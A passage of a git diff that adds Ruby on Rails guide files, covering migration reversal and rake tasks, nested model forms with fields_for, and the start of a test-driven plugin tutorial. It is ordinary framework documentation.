+If you're going to need to use any other methods, you should use `reversible`
+or write the `up` and `down` methods instead of using the `change` method.
+
+### Using `reversible`
+
+Complex migrations may require processing that Active Record doesn't know how
+to reverse. You can use `reversible` to specify what to do when running a
+migration what else to do when reverting it. For example,
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.references :category
+ end
+
+ reversible do |dir|
+ dir.up do
+ #add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+ end
+ end
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+```
+
+Using `reversible` will ensure that the instructions are executed in the
+right order too. If the previous example migration is reverted,
+the `down` block will be run after the `home_page_url` column is removed and
+right before the table `products` is dropped.
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
+`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Using the `up`/`down` Methods
+
+You can also use the old style of migration using `up` and `down` methods
+instead of the `change` method.
+The `up` method should describe the transformation you'd like to make to your
+schema, and the `down` method of your migration should revert the
+transformations done by the `up` method. In other words, the database schema
+should be unchanged if you do an `up` followed by a `down`. For example, if you
+create a table in the `up` method, you should drop it in the `down` method. It
+is wise to reverse the transformations in precisely the reverse order they were
+made in the `up` method. The example in the `reversible` section is equivalent to:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def up
+ create_table :products do |t|
+ t.references :category
+ end
+
+ # add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+
+ def down
+ rename_column :users, :email_address, :email
+ remove_column :users, :home_page_url
+
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+
+ drop_table :products
+ end
+end
+```
+
+If your migration is irreversible, you should raise
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Reverting Previous Migrations
+
+You can use Active Record's ability to rollback migrations using the `revert` method:
+
+```ruby
+require_relative '2012121212_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration
+ def change
+ revert ExampleMigration
+
+ create_table(:apples) do |t|
+ t.string :variety
+ end
+ end
+end
+```
+
+The `revert` method also accepts a block of instructions to reverse.
+This could be useful to revert selected parts of previous migrations.
+For example, let's imagine that `ExampleMigration` is committed and it
+is later decided it would be best to serialize the product list instead.
+One could write:
+
+```ruby
+class SerializeProductListMigration < ActiveRecord::Migration
+ def change
+ add_column :categories, :product_list
+
+ reversible do |dir|
+ dir.up do
+ # transfer data from Products to Category#product_list
+ end
+ dir.down do
+ # create Products from Category#product_list
+ end
+ end
+
+ revert do
+ # copy-pasted code from ExampleMigration
+ create_table :products do |t|
+ t.references :category
+ end
+
+ reversible do |dir|
+ dir.up do
+ #add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+ end
+ end
+
+ # The rest of the migration was ok
+ end
+ end
+end
+```
+
+The same migration could also have been written without using `revert`
+but this would have involved a few more steps: reversing the order
+of `create_table` and `reversible`, replacing `create_table`
+by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+This is all taken care of by `revert`.
+
+Running Migrations
+------------------
+
+Rails provides a set of Rake tasks to run certain sets of migrations.
+
+The very first migration related Rake task you will use will probably be
+`rake db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
+will update your `db/schema.rb` file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(change, up, down) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run
+
+```bash
+$ rake db:migrate VERSION=20080906120000
+```
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method
+on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the `down` method on all the migrations
+down to, but not including, 20080906120000.
+
+### Rolling Back
+
+A common task is to rollback the last migration. For example, if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run
+
+```bash
+$ rake db:rollback
+```
+
+This will rollback the latest migration, either by reverting the `change`
+method or by running the `down` method. If you need to undo
+several migrations you can provide a `STEP` parameter:
+
+```bash
+$ rake db:rollback STEP=3
+```
+
+will revert the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+if you need to go more than one version back, for example
+
+```bash
+$ rake db:migrate:redo STEP=3
+```
+
+Neither of these Rake tasks do anything you could not do with `db:migrate`. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+### Resetting the Database
+
+The `rake db:reset` task will drop the database, recreate it and load the
+current schema into it.
+
+NOTE: This is not the same as running all the migrations. It will only use the
+contents of the current schema.rb file. If a migration can't be rolled back,
+'rake db:reset' may not help you. To find out more about dumping the schema see
+'[schema dumping and you](#schema-dumping-and-you).'
+
+### Running Specific Migrations
+
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `change`, `up` or `down` method
+invoked, for example,
+
+```bash
+$ rake db:migrate:up VERSION=20080906120000
+```
+
+will run the 20080906120000 migration by running the `change` method (or the
+`up` method). This task will
+first check whether the migration is already performed and will do nothing if
+Active Record believes that it has already been run.
+
+### Running Migrations in Different Environments
+
+By default running `rake db:migrate` will run in the `development` environment.
+To run migrations against another environment you can specify it using the
+`RAILS_ENV` environment variable while running the command. For example to run
+migrations against the `test` environment you could run:
+
+```bash
+$ rake db:migrate RAILS_ENV=test
+```
+
+### Changing the Output of Running Migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+```bash
+== CreateProducts: migrating =================================================
+-- create_table(:products)
+ -> 0.0028s
+== CreateProducts: migrated (0.0028s) ========================================
+```
+
+Several methods are provided in migrations that allow you to control all this:
+
+| Method | Purpose
+| -------------------- | -------
+| suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
+| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ suppress_messages do
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+ t.timestamps
+ end
+ end
+
+ say "Created a table"
+
+ suppress_messages {add_index :products, :name}
+ say "and an index!", true
+
+ say_with_time 'Waiting for a while' do
+ sleep 10
+ 250
+ end
+ end
+end
+```
+
+generates the following output
+
+```bash
+== CreateProducts: migrating =================================================
+-- Created a table
+ -> and an index!
+-- Waiting for a while
+ -> 10.0013s
+ -> 250 rows
+== CreateProducts: migrated (10.0054s) =======================================
+```
+
+If you want Active Record to not output anything, then running `rake db:migrate
+VERBOSE=false` will suppress all output.
+
+Changing Existing Migrations
+----------------------------
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run `rake db:migrate`. You must rollback the migration (for
+example with `rake db:rollback`), edit your migration and then run
+`rake db:migrate` to run the corrected version.
+
+In general, editing existing migrations is not a good idea. You will be
+creating extra work for yourself and your co-workers and cause major headaches
+if the existing version of the migration has already been run on production
+machines. Instead, you should write a new migration that performs the changes
+you require. Editing a freshly generated migration that has not yet been
+committed to source control (or, more generally, which has not been propagated
+beyond your development machine) is relatively harmless.
+
+The `revert` method can be helpful when writing a new migration to undo
+previous migrations in whole or in part
+(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+
+Using Models in Your Migrations
+-------------------------------
+
+When creating or updating data in a migration it is often tempting to use one
+of your models. After all, they exist to provide easy access to the underlying
+data. This can be done, but some caution should be observed.
+
+For example, problems occur when the model uses database columns which are (1)
+not currently in the database and (2) will be created by this or a subsequent
+migration.
+
+Consider this example, where Alice and Bob are working on the same code base
+which contains a `Product` model:
+
+Bob goes on vacation.
+
+Alice creates a migration for the `products` table which adds a new column and
+initializes it. She also adds a validation to the `Product` model for the new
+column.
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+ def change
+ add_column :products, :flag, :boolean
+ reversible do |dir|
+ dir.up { Product.update_all flag: false }
+ end
+ Product.update_all flag: false
+ end
+end
+```
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+ validates :flag, presence: true
+end
+```
+
+Alice adds a second migration which adds and initializes another column to the
+`products` table and also adds a validation to the `Product` model for the new
+column.
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+ def change
+ add_column :products, :fuzz, :string
+ reversible do |dir|
+ dir.up { Product.update_all fuzz: 'fuzzy' }
+ end
+ end
+end
+```
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+ validates :flag, :fuzz, presence: true
+end
+```
+
+Both migrations work for Alice.
+
+Bob comes back from vacation and:
+
+* Updates the source - which contains both migrations and the latest version
+ of the Product model.
+* Runs outstanding migrations with `rake db:migrate`, which
+ includes the one that updates the `Product` model.
+
+The migration crashes because when the model attempts to save, it tries to
+validate the second added column, which is not in the database when the _first_
+migration runs:
+
+```
+rake aborted!
+An error has occurred, this and all later migrations canceled:
+
+undefined method `fuzz' for #<Product:0x000001049b14a0>
+```
+
+A fix for this is to create a local model within the migration. This keeps
+Rails from running the validations, so that the migrations run to completion.
+
+When using a local model, it's a good idea to call
+`Product.reset_column_information` to refresh the `ActiveRecord` cache for the
+`Product` model prior to updating data in the database.
+
+If Alice had done this instead, there would have been no problem:
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def change
+ add_column :products, :flag, :boolean
+ Product.reset_column_information
+ reversible do |dir|
+ dir.up { Product.update_all flag: false }
+ end
+ end
+end
+```
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def change
+ add_column :products, :fuzz, :string
+ Product.reset_column_information
+ reversible do |dir|
+ dir.up { Product.update_all fuzz: 'fuzzy' }
+ end
+ end
+end
+```
+
+There are other ways in which the above example could have gone badly.
+
+For example, imagine that Alice creates a migration that selectively
+updates the `description` field on certain products. She runs the
+migration, commits the code, and then begins working on the next feature,
+which is to add a new column `fuzz` to the products table.
+
+She creates two migrations for this new feature, one which adds the new
+column, and a second which selectively updates the `fuzz` column based on
+other product attributes.
+
+These migrations run just fine, but when Bob comes back from his vacation
+and calls `rake db:migrate` to run all the outstanding migrations, he gets a
+subtle bug: The descriptions have defaults, and the `fuzz` column is present,
+but `fuzz` is nil on all products.
+
+The solution is again to use `Product.reset_column_information` before
+referencing the Product model in a migration, ensuring the Active Record's
+knowledge of the table structure is current before manipulating data in those
+records.
+
+Schema Dumping and You
+----------------------
+
+### What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either `db/schema.rb` or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+### Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in `config/application.rb`
+by the `config.active_record.schema_format` setting, which may be either `:sql`
+or `:ruby`.
+
+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
+at this file you'll find that it looks an awful lot like one very big
+migration:
+
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+ create_table "authors", force: true do |t|
+ t.string "name"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ create_table "products", force: true do |t|
+ t.string "name"
+ t.text "description"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ t.string "part_number"
+ end
+end
+```
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using `create_table`, `add_index`, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to
+distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: `db/schema.rb` cannot express database specific
+items such as foreign key constraints, triggers, or stored procedures. While in
+a migration you can execute custom SQL statements, the schema dumper cannot
+reconstitute those statements from the database. If you are using features like
+this, then you should set the schema format to `:sql`.
+
+Instead of using Active Record's schema dumper, the database's structure will
+be dumped using a tool specific to the database (via the `db:structure:dump`
+Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
+utility is used. For MySQL, this file will contain the output of `SHOW CREATE
+TABLE` for the various tables.
+
+Loading these schemas is simply a question of executing the SQL statements they
+contain. By definition, this will create a perfect copy of the database's
+structure. Using the `:sql` schema format will, however, prevent loading the
+schema into a RDBMS other than the one used to create it.
+
+### Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+Active Record and Referential Integrity
+---------------------------------------
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or foreign key constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as `validates :foreign_key, uniqueness: true` are one way in
+which models can enforce data integrity. The `:dependent` option on
+associations allows models to automatically destroy child objects when the
+parent is destroyed. Like anything which operates at the application level,
+these cannot guarantee referential integrity and so some people augment them
+with foreign key constraints in the database.
+
+Although Active Record does not provide any tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL. You
+could also use some gem like
+[foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key
+support to Active Record (including support for dumping foreign keys in
+`db/schema.rb`).
+
+Migrations and Seed Data
+------------------------
+
+Some people use migrations to add data to the database:
+
+```ruby
+class AddInitialProducts < ActiveRecord::Migration
+ def up
+ 5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+ end
+ end
+
+ def down
+ Product.delete_all
+ end
+end
+```
+
+However, Rails has a 'seeds' feature that should be used for seeding a database
+with initial data. It's a really simple feature: just fill up `db/seeds.rb`
+with some Ruby code, and run `rake db:seed`:
+
+```ruby
+5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+end
+```
+
+This is generally a much cleaner way to set up the database of a blank
+application.
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
new file mode 100644
index 0000000..b90b3bb
--- /dev/null
+++ b/guides/source/nested_model_forms.md
@@ -0,0 +1,225 @@
+Rails nested model forms
+========================
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+After reading this guide, you will know:
+
+* do stuff.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
+
+
+Model setup
+-----------
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
+
+### ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
+
+#### has_one
+
+```ruby
+class Person < ActiveRecord::Base
+ has_one :address
+ accepts_nested_attributes_for :address
+end
+```
+
+#### belongs_to
+
+```ruby
+class Person < ActiveRecord::Base
+ belongs_to :firm
+ accepts_nested_attributes_for :firm
+end
+```
+
+#### has_many / has_and_belongs_to_many
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :projects
+ accepts_nested_attributes_for :projects
+end
+```
+
+### Custom model
+
+As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
+
+#### Single associated object
+
+```ruby
+class Person
+ def address
+ Address.new
+ end
+
+ def address_attributes=(attributes)
+ # ...
+ end
+end
+```
+
+#### Association collection
+
+```ruby
+class Person
+ def projects
+ [Project.new, Project.new]
+ end
+
+ def projects_attributes=(attributes)
+ # ...
+ end
+end
+```
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+Views
+-----
+
+### Controller code
+
+A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
+
+```ruby
+class PeopleController < ApplicationController
+ def new
+ @person = Person.new
+ @person.built_address
+ 2.times { @person.projects.build }
+ end
+
+ def create
+ @person = Person.new(params[:person])
+ if @person.save
+ # ...
+ end
+ end
+end
+```
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
+
+### Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+#### Standard form
+
+Start out with a regular RESTful form:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+<% end %>
+```
+
+This will generate the following html:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+</form>
+```
+
+#### Nested form for a single associated object
+
+Now add a nested form for the `address` association:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <%= f.fields_for :address do |af| %>
+ <%= af.text_field :street %>
+ <% end %>
+<% end %>
+```
+
+This generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+
+ <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+```
+
+Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+```ruby
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "address_attributes" => {
+ "street" => "Nieuwe Prinsengracht"
+ }
+ }
+}
+```
+
+That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
+
+#### Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <%= f.fields_for :projects do |pf| %>
+ <%= pf.text_field :name %>
+ <% end %>
+<% end %>
+```
+
+Which generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+
+ <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+ <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+```
+
+As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+```ruby
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "projects_attributes" => {
+ "0" => { "name" => "Project 1" },
+ "1" => { "name" => "Project 2" }
+ }
+ }
+}
+```
+
+You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
+
+NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
new file mode 100644
index 0000000..695f25f
--- /dev/null
+++ b/guides/source/plugins.md
@@ -0,0 +1,435 @@
+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* a way for developers to share bleeding-edge ideas without hurting the stable code base
+* a segmented architecture so that units of code can be fixed or updated on their own release schedule
+* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide, you will know:
+
+* How to create a plugin from scratch.
+* How to write and run tests for the plugin.
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core Ruby classes like Hash and String.
+* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins.
+* Give you information about where to put generators in your plugin.
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.
+Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
+goodness.
+
+--------------------------------------------------------------------------------
+
+Setup
+-----
+
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
+different rails applications using RubyGems and Bundler if desired.
+
+### Generate a gemified plugin.
+
+
+Rails ships with a `rails plugin new` command which creates a
+ skeleton for developing any kind of Rails extension with the ability
+ to run integration tests using a dummy Rails application. See usage
+ and options by asking for help:
+
+```bash
+$ rails plugin --help
+```
+
+Testing your newly generated plugin
+-----------------------------------
+
+You can navigate to the directory that contains the plugin, run the `bundle install` command
+ and run the one generated test using the `rake` command.
+
+You should see:
+
+```bash
+ 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will tell you that everything got generated properly and you are ready to start adding functionality.
+
+Extending Core Classes
+----------------------
+
+This section will explain how to add a method to String that will be available anywhere in your rails application.
+
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+
+```ruby
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < Test::Unit::TestCase
+ def test_to_squawk_prepends_the_word_squawk
+ assert_equal "squawk! Hello World", "Hello World".to_squawk
+ end
+end
+```
+
+Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
+
+```bash
+ 1) Error:
+ test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+ NoMethodError: undefined method `to_squawk' for [Hello World](String)
+ test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+```
+
+Great - now you are ready to start development.
+
+Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+
+module Yaffle
+end
+```
+
+Finally, create the `core_ext.rb` file and add the `to_squawk` method:
+
+```ruby
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+ def to_squawk
+ "squawk! #{self}".strip
+ end
+end
+```
+
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
+
+```bash
+ 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+```
+
+To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+
+```bash
+$ rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+```
+
+Add an "acts_as" Method to Active Record
+----------------------------------------
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
+want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+
+To begin, set up your files so that you have:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+```
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+```
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ # your code will go here
+ end
+end
+```
+
+### Add a Class Method
+
+This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
+plugin users might have already defined a method on their model named 'last_squawk' that they use
+for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
+end
+```
+
+When you run `rake`, you should see the following:
+
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+ test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+ test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+```
+
+This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
+We can easily generate these models in our "dummy" Rails application by running the following commands from the
+test/dummy directory:
+
+```bash
+$ cd test/dummy
+$ rails generate model Hickwall last_squawk:string
+$ rails generate model Wickwall last_squawk:string last_tweet:string
+```
+
+Now you can create the necessary database tables in your testing database by navigating to your dummy app
+and migrating the database. First
+
+```bash
+$ cd test/dummy
+$ rake db:migrate
+$ rake db:test:prepare
+```
+
+While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
+like yaffles.
+
+```ruby
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+```
+
+We will also add code to define the acts_as_yaffle method.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ # your code will go here
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.
+
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+ /Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+ Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+```
+
+Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+When you run `rake` you should see the tests all pass:
+
+```bash
+ 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
